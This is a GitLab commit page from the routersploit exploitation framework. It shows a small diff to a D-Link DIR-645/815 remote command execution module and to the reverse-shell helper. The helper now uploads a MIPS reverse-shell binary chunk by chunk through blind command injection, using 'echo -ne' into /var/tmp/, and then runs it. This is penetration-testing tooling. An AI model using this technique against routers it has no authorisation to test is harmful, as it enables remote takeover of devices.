Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
d38fa116
Commit
d38fa116
authored
Mar 19, 2017
by
Marcin Bury
Committed by
Mariusz Kupidura
Mar 19, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
D-Link Dir-645 & Dir-815 RCE echo reverse shell (#213)
parent
479e110c
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
3 additions
and
3 deletions
+3
-3
dir_645_815_rce.py
routersploit/modules/exploits/dlink/dir_645_815_rce.py
+1
-1
shell.py
routersploit/shell.py
+2
-2
No files found.
routersploit/modules/exploits/dlink/dir_645_815_rce.py
View file @
d38fa116
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
...
@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
print_status
(
"It is blind command injection, response is not available"
)
print_status
(
"It is blind command injection, response is not available"
)
shell
(
self
,
architecture
=
"mipsel"
)
shell
(
self
,
architecture
=
"mipsel"
,
method
=
"echo"
,
binary
=
"echo"
,
location
=
"/var/tmp/"
)
else
:
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
...
...
routersploit/shell.py
View file @
d38fa116
...
@@ -427,8 +427,8 @@ class reverse_shell(object):
...
@@ -427,8 +427,8 @@ class reverse_shell(object):
print_status
(
"Transferring {}/{} bytes"
.
format
(
current
,
len
(
self
.
revshell
)))
print_status
(
"Transferring {}/{} bytes"
.
format
(
current
,
len
(
self
.
revshell
)))
block
=
self
.
revshell
[
current
:
current
+
30
]
.
encode
(
'hex'
)
block
=
self
.
revshell
[
current
:
current
+
30
]
.
encode
(
'hex'
)
block
=
"
\\
x"
+
"
\\
x"
.
join
(
a
+
b
for
a
,
b
in
zip
(
block
[::
2
],
block
[
1
::
2
]))
block
=
"
\\
\\
x"
+
"
\\
\\
x"
.
join
(
a
+
b
for
a
,
b
in
zip
(
block
[::
2
],
block
[
1
::
2
]))
cmd
=
'
$(echo -n -e "{}" >> {})
'
.
format
(
block
,
path
)
cmd
=
'
echo -ne "{}" >> {}
'
.
format
(
block
,
path
)
self
.
exploit
.
execute
(
cmd
)
self
.
exploit
.
execute
(
cmd
)
# execute binary
# execute binary
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment